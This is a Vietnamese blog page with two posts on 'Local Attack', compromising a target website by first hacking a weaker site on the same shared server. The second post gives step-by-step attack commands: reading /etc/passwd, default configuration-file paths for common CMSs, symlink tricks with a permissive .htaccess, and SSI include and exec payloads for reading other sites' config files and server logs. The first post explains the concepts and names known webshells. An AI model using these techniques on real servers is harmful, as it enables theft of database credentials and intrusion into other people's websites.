Showing posts with label Local Attack. Show all posts
Showing posts with label Local Attack. Show all posts

Thursday, 25 February 2016

Local Attack part 2 Các phương pháp Local Attack


Các bước tấn công Local Attack
Bước 1: Xác định mục tiêu
Việc đầu tiên hacker sẽ xác định mục tiêu tấn công là site http://www.victim.com. Sau khi xác định mục tiêu, hacker sẽ tìm xem có những site nằm trên cùng server với victim. Điều này được thực hiện dễ dàng thông qua 1 số công cụ reverse ip

Whois
FreeReverseIp

Bước 2: Chiếm quyền điều khiển một site cùng server với mục tiêu
Bằng các phương pháp: SQL injection, Reverse Directory Transversal, khai thác các bug… Việc này được thực hiện cho đến khi hacker chiếm quyền kiểm soát 1 website và upload được webshell của mình lên đó.


Bước 3: Thu thập thông tin về mục tiêu

Sau khi đã có webshell, hacker sẽ dò tìm, thu thập tất cả các thông tin về website victim như chạy dưới quyền user nào, thư mục gốc, được phân quyền ra sao…


cat /etc/passwd

cat /etc/valiasse

Một số server cấm lệnh cat

Less /etc/passwd

./cat/etc/passwd

More /etc/passwd


Bước 4: Tìm file path file config.php
Đối với các mã nguồn mở thì path file config được mặc định như sau:
Lưu ý: “path” chính là path từ server dẫn tới site, ví dụ đối với server linux, path là: /home/user/public_html

Vbulletin: public_html/includes/config.php
PHPBB: public_html/config.php
Joomla: public_html/configuration.php
WordPress: public_html/wp-config.php
ibp: public_html/conf_global.php
php-fusion: public_html/config.php
Smf: public_html/Settings.php
phpnuke: public_html/html/config.php
Xoops: public_html/mainfile.php
ZenCart: public_html/includes/configure.php
setidio: public_html/datas/config.php
Discuz: public_html/config/config_ucenter.php
Bo-Blog: public_html/data/config.php
Nukeviet: public_html/config.php

Bước 5- Get thông tin file config
5.1 Sử dụng lệnh cơ bản như cat, dir để xem tên thư mục đọc nội dung file.
dir /home/public_html/includes
cat /home/public_html/includes/config.php

5.2 Sử dụng symbolic link - symlink
Ln -s /home/public_html/NTCA/includes/config.php soleil.ini 
Có thể hiểu đơn giản là tạo 1 file soleil.ini trên host có nội dung giống file config.php
Tuy nhiên để làm được điều này thì .htaccess có các điều kiện sau

Options +FollowSymLinks  #cho phép dùng symlink

DirectoryIndex seees.html   #vô hiệu hóa file index.html

Options +Indexes                #cho phép hiện cấu trúc thư mục


Nếu không có các điều đó bạn có thể gặp lỗi 500 Internal Server Error hoặc lỗi 403 Forbidden. Để khắc phục hiện tượng này, bạn chỉ cần tạo một file .htaccess có nội dung là 3 chỉ thị trên rồi upload lên server.

5.3 Sử dụng symlink với SSI
Đối với 1 sô server khi symbolic link bình thường xuất hiên 403 forbinden – không cho phép đọc file đã được symlink thì giải pháp được nghĩ đến đó là kết hợp với SSI.
- Tạo 1 file ducdung08clc.shtml với nội dung như sau:
<!--#include virtual="soleil.ini"-->

Trong đó file soleil.ini là file đã được symbolic link trên server.
Bây giờ view source của file ducdung08clc.shtml ta sẽ thấy đc nội dung file soleil.ini đã symbolic link.

5.4 Chạy lệnh bằng file .shtml
Các cách trên không áp dụng được, thử chạy lệnh bằng file .shtml

<!--#exec cmd="cat /etc/passwd"-->
Lệnh xem file logs như sau:
<!--#exec cmd="tail -n 10000 /var/log/httpd/domains/vhbgroup.net.error.log"-->
Lưu ý:
 + lệnh tail cũng giống như lệnh cat nhưng nó dùng để xem nhưng dòng cuối cùng của file trên server.
 + /var/log/httpd/domains/vhbgroup.net.error.log là path dẫn đến file error.log của direct admin
 + Còn path dẫn đến file error.log của cpanel là: /usr/local/apache/logs/error_log ….., tùy vào bộ cài host mà path dẫn đến file error.log khác nhau.

Nguồn: Thao khảo ducdung08clc.blogspot.com

Tuesday, 23 February 2016

Local Attack Part 1


1.1 số khái niệm cần nắm:

Host và Shared Hosting
Host: Trong lĩnh vực website là 1 máy chủ web (Web server) chứa các dữ liệu lưu trữ của website như hình ảnh, nội dung, mã nguồn, database của website

Các loại Hosting cơ bản:
+ Dedicated Server (Máy chủ vật lí): Thuê 1 máy chủ riêng, toàn quyền sử dụng máy chủ đó.

+ Virtual Private Server (VPS- máy chủ ảo) : Dạng máy chủ ảo được tạo ra bằng phương pháp phân chia một máy chủ vật lý thành nhiều máy chủ khác nhau có tính năng tương tự như máy chủ riêng

+ Shared Hosting: là một gói host được sinh ra và thiết lập bởi một Dedicated Server hoặc VPS, đã được cài sẵn các ứng dụng cần thiết để làm website. Đối với cơ quan, tổ chức thì nhu cầu của họ chỉ là lưu trữ,hơn nữa giá thành thuê 1 server không phải là rẻ vì vậy shared hosting là lựa chọn.
Với shared hosting, không gian bộ nhớ trên server được chia thành nhiều host nhỏ, riêng biệt với nhau và đều cho thuê. Do vậy trên 1 server sẽ chứa dữ liệu của nhiều website và đó cũng là ngọn nguồn của cho local attack phát triển.
- Local Attack chỉ diễn ra ở các shared-server, nơi mà có nhiều site cùng được đặt trên đó. Với các site đặt trên một server riêng biệt thì tất nhiên không xảy ra hình thức tấn công này.

Webshell
Đối với hệ điều hành Linux, khái niệm shell có lẽ đã quá quen thuộc với người dùng.
Webshell là một shell với giao diện web cho phép người dùng tương tác với hệ thống. Sự ra đời của webshell đã giúp các nhà quản trị đơn giản hóa công việc quản lý server của mình rất nhiều. Các quản trị viên có thể thực hiện các thao tác như copy, xóa, di chuyển, download, upload các file… với chỉ vài cú click chuột đơn giản.

2. Local Attack là gì ?

- Local Attack là kỹ thuật hack website bằng hình thức tấn công từ nội bộ bên trong. Nghĩa là tấn công vào một website có bảo mật kém chung server với website mục tiêu. Sau đó tấn công sang website mục tiêu bằng kỹ thuật Local.

3. Các bước trong Local Attack:

- Xác định các website chung sever với mục tiêu (Victim)

- Kiểm tra toàn sever ,xác định site bảo mật kém xác định site có bảo mật kém có thể tấn công bằng các hình thức: SQLI, RLI, LFI, XSS,Bugs….

- Up Shell lên website đã khai thác lỗi bảo mật

- Tiến hành local sang mục tiêu

4.Mục đích Local Attack:

- Tìm file config

- Thu thập thông tin login vào cơ sở dữ liệu của victim

- Login vào csdl, xác định username và password được mã hóa của victim

5.Các kỹ thuật Local

- Sử dụng các lệnh cơ bản: Dir, cat , less, cd ,….

- Symlink
- Backconnect
- Via SQL
- Các kỹ thuật Bypass

Một số webshell nổi tiếng : webadmin, r57, c99…

Nguồn tham khảo: ducdung08clc